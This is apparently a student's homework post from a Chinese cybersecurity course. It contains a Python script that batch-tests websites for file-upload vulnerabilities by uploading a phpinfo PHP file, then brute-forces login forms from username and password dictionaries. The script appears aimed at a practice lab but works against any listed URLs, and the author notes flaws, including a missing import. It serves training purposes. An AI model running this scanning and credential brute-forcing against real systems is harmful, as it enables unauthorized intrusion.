3.22
网络安全C10-2025.03.22
作业:
1、复习python基础语法中的io操作,包括文件读写和系统目录、文件操作
2、复习安全开发技术中的正则表达式模块,熟练掌握python中re模块的用法
3、复习安全开发技术中的requests模块,熟练掌握get、post请求、文件上传请求的编写方式
4、复习安全开发技术中的多线程、多进程知识,熟练掌握多线程和多进程代码编写方式
5、综合运用所学知识,编写一个利用脚本,实现批量扫描网站文件上传漏洞的功能和弱口令爆破功能
import random
import threading
import requests
from bs4 import BeautifulSoup
from concurrent.futures import ThreadPoolExecutor
import os # 用于文件路径检查和目录操作
import sys # 用于退出程序 (sys.exit)
import re
class VulnerabilityScanner:
def __init__(self, target_urls, upload_paths, username_dict, password_dict):
self.target_urls = target_urls # 目标URL列表
self.upload_paths = upload_paths # 上传接口路径列表
self.username_dict = username_dict # 用户名字典
self.password_dict = password_dict # 密码字典
self.session = requests.Session()
def scan_upload_vulnerability(self, url):
# 实现文件上传漏洞检测
try:
#useragent
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0"
]
#cookies
COOKIES = {
}
# 随机选择 User-Agent
headers = {
"User-Agent": random.choice(USER_AGENTS),
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Referer": "http://pikachu.com/"
}
#代理ip池
proxies = {
"http": "http://127.0.0.1:8080"
}
# 使用 Session 管理 Cookie
session = requests.Session()
session.cookies.update(COOKIES)
# 1. 发送上传请求
files = {
'uploadfile': ('test.php', '<?php phpinfo(); ?>', 'application/x-php'),
'submit': (None, 'Submit')
}
response = session.post(url, files=files, headers=headers,proxies=proxies)
# response = session.post(url, files=files, headers=headers, timeout=10)
print(response.status_code)
response.encoding = 'utf-8'
# 2. 检查响应
if (response.status_code == 200 and ('upload success' in response.text.lower() or '成功' in response.text )):
print(f"[+] 上传漏洞存在: {url}")
# 3. 验证文件是否可执行
# 尝试多种方式获取路径
uploaded_file = None
# 方式 1:正则匹配
uploaded_file = None
try:
# 方式 1:正则匹配(添加异常保护)
match = re.search(r'路径\S*[::]\s*([\w/.-]+?)(?=\s*</)', response.text)
if match:
uploaded_file = match.group(1).strip()
print(f"[*] 正则匹配到文件路径: {uploaded_file}")
except Exception as e:
print(f"[!] 正则匹配异常: {str(e)}")
uploaded_file = None # 确保继续后续处理
# ---------- 修改结束 ----------
# 方式 2:JSON 动态键
if not uploaded_file:
try:
data = response.json()
possible_keys = ['path', 'url', 'file']
for key in possible_keys:
if key in data:
uploaded_file = data[key]
print(f"[*] JSON解析到文件路径: {uploaded_file}")
break
except Exception as e:
print(f"[!] JSON解析异常: {str(e)}")
# 方式 3:手动拼接(最后尝试)
if not uploaded_file:
try:
base_url = url.rsplit('/', 1)[0] if '/' in url else url
uploaded_file = f"{base_url}/uploads/test.php"
print(f"[*] 使用备用路径: {uploaded_file}")
except Exception as e:
print(f"[!] 路径拼接异常: {str(e)}")
uploaded_file = None
# 验证文件是否可执行
if uploaded_file:
try:
new_url=os.path.dirname(url)+'/'+uploaded_file
print(f"新的url: {new_url}")
verify_response = requests.get(new_url,timeout=5)
if "phpinfo()" in verify_response.text:
print("[+] 上传文件可执行!")
else:
print(f"[-] 文件存在但未执行(HTTP {verify_response.status_code})")
except requests.exceptions.Timeout:
print("[-] 验证超时:服务器响应时间超过5秒")
except requests.exceptions.ConnectionError:
print("[-] 连接失败:网络问题或目标不可达")
except requests.exceptions.HTTPError as e:
print(f"[-] HTTP错误:{e.response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] 请求异常:{str(e)}")
except Exception as e:
print(f"[-] 未知错误:{str(e)}")
else:
print("[-] 无法获取文件路径")
except Exception as e:
print(f"[-] 检测失败: {url} - {str(e)}")
def brute_force_login(self, login_url):
try:
# 禁用SSL警告
requests.packages.urllib3.disable_warnings()
# 调试日志
print(f"[*] 尝试访问登录页面: {login_url}")
login_page = self.session.get(login_url, timeout=15, verify=False)
print(f"[*] 服务器返回状态码: {login_page.status_code}")
# 状态码检查
if login_page.status_code != 200:
print(f"[-] 页面不可用 (HTTP {login_page.status_code})")
return False
# 表单解析
soup = BeautifulSoup(login_page.text, 'html.parser')
form = soup.find('form')
if not form:
print(f"[-] 未找到登录表单: {login_url}")
return False
# 获取表单字段
data = {}
for input_tag in form.find_all('input'):
if input_tag.get('name') and input_tag.get('type') != 'submit':
data[input_tag.get('name')] = input_tag.get('value', '')
# 生成凭证
credentials = [(user, pwd) for user in self.username_dict for pwd in self.password_dict]
print(f"[*] 待尝试的凭证数量: {len(credentials)}")
if not credentials:
print("[-] 凭证列表为空")
return False
# 线程安全控制
success_flag = False
lock = threading.Lock()
def try_login(username, password):
nonlocal success_flag
if success_flag:
return False
try:
# 设置当前凭证用于特殊验证
self._current_credential = (username, password)
print(f"[*] 尝试登录: {username}:{password}", end=' ')
post_data = data.copy()
post_data['username'] = username
post_data['password'] = password
# 确保不发送remember-me参数
if 'remember-me' in post_data:
del post_data['remember-me']
# 使用独立Session避免线程冲突
local_session = requests.Session()
local_session.cookies.update(self.session.cookies)
initial_cookies = len(local_session.cookies.get_dict())
response = local_session.post(
login_url,
data=post_data,
timeout=5,
allow_redirects=True,
verify=False
)
success = self._check_login_success(response, initial_cookies)
if success:
with lock:
if not success_flag:
success_flag = True
print(f"\n[+] 成功登录: {username}:{password}")
return True
return False
except Exception as e:
print(f"[-] 异常: {username}:{password} - {str(e)}")
return False
# 使用单线程顺序执行确保输出同步
for cred in credentials:
if try_login(*cred):
return True
time.sleep(0.3) # 缩短延迟时间确保流畅性
print("[-] 所有凭证尝试失败")
return False
except Exception as e:
print(f"[-] 全局异常: {str(e)}")
return False
def _check_login_success(self, response, initial_cookies):
"""优化登录验证逻辑"""
check_text = response.text.lower()
# 1. 关键成功条件:响应中包含明确成功标识
success_keywords = ['登录成功', '欢迎回来']
matched_keywords = [kw for kw in success_keywords if kw in check_text]
has_success = bool(matched_keywords)
# 2. 重定向验证(可选)
redirect_valid = False
if response.history:
final_url = response.url.lower()
redirect_valid = any(path in final_url for path in ['/dashboard', '/home', '/admin'])
# 3. 会话变化验证(可选)
session_changed = len(self.session.cookies.get_dict()) > initial_cookies
# 综合判断:主要依据成功关键词
success = has_success or redirect_valid or session_changed
# 简化输出格式,与尝试登录信息同行
if success:
print(f"=> 成功 (匹配词: {matched_keywords})")
if redirect_valid:
print(f" [重定向至: {response.url}]")
if session_changed:
print(f" [新增cookies: {len(self.session.cookies.get_dict()) - initial_cookies}]")
else:
print("=> 失败")
return success
def run(self):
for url in self.target_urls:
# 检测上传漏洞
for path in self.upload_paths:
upload_url = url + path
self.scan_upload_vulnerability(upload_url)
# 爆破登录接口(修正函数名)
login_url = url + '/admin.php/user/publics/signin.html'
self.brute_force_login(login_url)
if __name__ == "__main__":
with open('文件上传和暴力漏洞检测/urls.txt', 'r') as f:
target_urls = [line.strip() for line in f if line.strip()]
with open('文件上传和暴力漏洞检测/ceshi.txt', 'r') as f:
upload_paths = [line.strip() for line in f if line.strip()]
# 修正变量定义缩进
with open('文件上传和暴力漏洞检测/name_dict.txt', 'r') as f:
username_dict = [line.strip() for line in f if line.strip()]
with open('文件上传和暴力漏洞检测/password_dict.txt', 'r') as f:
password_dict = [line.strip() for line in f if line.strip()]
scanner = VulnerabilityScanner(target_urls, upload_paths, username_dict, password_dict)
scanner.run()
代码可以完成,许多地方不足,开始多线程输出不匹配,变成单线程,且还可以简化,等等在后续会一一改进
6、预习验证码识别、python爬虫技术、信息搜集工具等知识
预习:
爬虫技术、信息搜集工具等
预习资料:
参考课件@所有人

浙公网安备 33010602011771号